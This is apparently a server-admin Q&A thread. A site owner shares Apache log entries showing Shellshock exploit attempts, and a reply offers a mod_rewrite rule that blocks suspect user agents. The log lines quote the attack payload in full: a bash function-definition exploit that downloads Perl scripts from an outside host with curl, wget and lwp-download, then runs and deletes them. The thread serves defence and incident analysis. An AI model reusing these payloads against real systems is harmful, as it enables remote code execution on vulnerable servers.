1

My web server emails me if a 404 error occurs (to help me with missing links). I only had the usual 404's like http://www.example.com/administrator and so on.

But lately I keep getting a request for http://www.example.com/hello. I seem to get them from all over the world. 

185.63.188.120 - - [21/Dec/2015:08:35:54 -0500] "GET /hello HTTP/1.0" 301 328 "-" "() { :;}; /bin/bash -c \"cd /tmp;lwp-download -a http://188.138.41.134/GNUFISH;curl -O http://188.138.41.134/GNUFISH;wget http://188.138.41.134/GNUFISH;perl /tmp/GNUFISH*;perl GNUFISH;rm -rf /tmp/GNUFISH*\""
185.63.188.120 - - [21/Dec/2015:08:35:55 -0500] "GET /hello HTTP/1.0" 404 1806 "-" "() { :;}; /bin/bash -c \"cd /tmp;lwp-download -a http://188.138.41.134/GNUFISH;curl -O http://188.138.41.134/GNUFISH;wget http://188.138.41.134/GNUFISH;perl /tmp/GNUFISH*;perl GNUFISH;rm -rf /tmp/GNUFISH*\""
185.63.188.120 - - [21/Dec/2015:16:17:11 -0500] "GET /hello HTTP/1.0" 301 328 "-" "() { :;}; /bin/bash -c \"cd /tmp;lwp-download -a http://188.138.41.134/GNUFISH;curl -O http://188.138.41.134/GNUFISH;wget http://188.138.41.134/GNUFISH;perl /tmp/GNUFISH*;perl GNUFISH;rm -rf /tmp/GNUFISH*\""
185.63.188.120 - - [21/Dec/2015:16:17:12 -0500] "GET /hello HTTP/1.0" 404 1806 "-" "() { :;}; /bin/bash -c \"cd /tmp;lwp-download -a http://188.138.41.134/GNUFISH;curl -O http://188.138.41.134/GNUFISH;wget http://188.138.41.134/GNUFISH;perl /tmp/GNUFISH*;perl GNUFISH;rm -rf /tmp/GNUFISH*\""
172.246.105.114 - - [22/Dec/2015:08:25:12 -0500] "GET /hello HTTP/1.0" 301 328 "-" "() { :;}; /bin/bash -c \"cd /tmp;lwp-download -a http://188.138.41.134/cax;curl -O http://188.138.41.134/cax;wget http://188.138.41.134/cax;perl /tmp/cax*;perl cax;rm -rf /tmp/cax*\""
172.246.105.114 - - [22/Dec/2015:08:25:13 -0500] "GET /hello HTTP/1.0" 404 1806 "-" "() { :;}; /bin/bash -c \"cd /tmp;lwp-download -a http://188.138.41.134/cax;curl -O http://188.138.41.134/cax;wget http://188.138.41.134/cax;perl /tmp/cax*;perl cax;rm -rf /tmp/cax*\""
80.248.216.11 - - [22/Dec/2015:16:33:41 -0500] "GET /hello HTTP/1.0" 301 328 "-" "() { :;}; /bin/bash -c \"cd /tmp;lwp-download -a http://188.138.41.134/BASHSALAM;wget http://188.138.41.134/BASHSALAM -O /tmp/BASHSALAM;wget http://188.138.41.134/BASHSALAM;perl BASHSALAM;perl BASHSALAM;rm -rf /tmp/BASHSALAM*\""
80.248.216.11 - - [22/Dec/2015:16:33:42 -0500] "GET /hello HTTP/1.0" 403 1809 "-" "() { :;}; /bin/bash -c \"cd /tmp;lwp-download -a http://188.138.41.134/BASHSALAM;wget http://188.138.41.134/BASHSALAM -O /tmp/BASHSALAM;wget http://188.138.41.134/BASHSALAM;perl BASHSALAM;perl BASHSALAM;rm -rf /tmp/BASHSALAM*\""
185.63.188.120 - - [22/Dec/2015:22:12:45 -0500] "GET /hello HTTP/1.0" 301 328 "-" "() { :;}; /bin/bash -c \"cd /tmp;lwp-download -a http://188.138.41.134/GNUFISH;curl -O http://188.138.41.134/GNUFISH;wget http://188.138.41.134/GNUFISH;perl /tmp/GNUFISH*;perl GNUFISH;rm -rf /tmp/GNUFISH*\""
185.63.188.120 - - [22/Dec/2015:22:12:46 -0500] "GET /hello HTTP/1.0" 404 1806 "-" "() { :;}; /bin/bash -c \"cd /tmp;lwp-download -a http://188.138.41.134/GNUFISH;curl -O http://188.138.41.134/GNUFISH;wget http://188.138.41.134/GNUFISH;perl /tmp/GNUFISH*;perl GNUFISH;rm -rf /tmp/GNUFISH*\""
185.63.188.120 - - [23/Dec/2015:16:56:56 -0500] "GET /hello HTTP/1.0" 301 328 "-" "() { :;}; /bin/bash -c \"cd /tmp;lwp-download -a http://188.138.41.134/iod.exe;curl -O http://188.138.41.134/iod.exe;wget http://188.138.41.134/iod.exe;perl /tmp/iod.exe*;perl iod.exe;rm -rf /tmp/iod.exe*\""
185.63.188.120 - - [23/Dec/2015:16:56:57 -0500] "GET /hello HTTP/1.0" 404 1806 "-" "() { :;}; /bin/bash -c \"cd /tmp;lwp-download -a http://188.138.41.134/iod.exe;curl -O http://188.138.41.134/iod.exe;wget http://188.138.41.134/iod.exe;perl /tmp/iod.exe*;perl iod.exe;rm -rf /tmp/iod.exe*\""

I realize that this is a shellshock attack attempt on my server (server is patched).

My questions are: how do I block these kinds of attacks? Other than patching bash, is there something else I should do to harden my webserver? Is anyone else seeing these in their Apache logs?

What I found so incredibly sneaky on the attackers part, is that using "hello" in their URL makes it really hard to Google for answers. You will get a ton of useless results.

G Trawo
  • 153
  • 6

1 Answers1

3

If your system is up to date you don't have to worry.

You can make custom rule to prevent most of web bots attacks, for exemple this is mine:

RewriteCond %{HTTP_USER_AGENT} ^-?$|curl|perl|python [NC,OR]
RewriteCond %{REQUEST_METHOD} !^(GET|HEAD|POST)$ [OR]
RewriteCond %{REQUEST_URI} !^/ [OR]
RewriteCond %{HTTP_REFERER} "!^$|^http"
RewriteRule .* - [END,R=406]

It will block most attacks before bots can test breach:

  • block empty user agent or suspect AGENT
  • limit requests to GET HEAD and POST
  • block requests not starting with / (if you don't use your server as a proxy, all requests should starts with /)
  • block requests with not valid REFERER

I use code 406, but you can change it for any other you prefer.

If you need more information about the exploit:

Community
  • 1
Froggiz
  • 3,013
  • 1
  • 18
  • 30
  • Thanks Froggiz. That is reassuring. I will definitely use that htaccess rule. – G Trawo Dec 24 '15 at 17:38
  • If you can add it to your httpd.conf, or in site-enabled with a name like _security.conf to be read in first, to save disk access each request from .htacces read – Froggiz Dec 24 '15 at 18:19
  • Ah! Good suggestion. I have root access to my server, so this should not be that hard. – G Trawo Dec 24 '15 at 19:15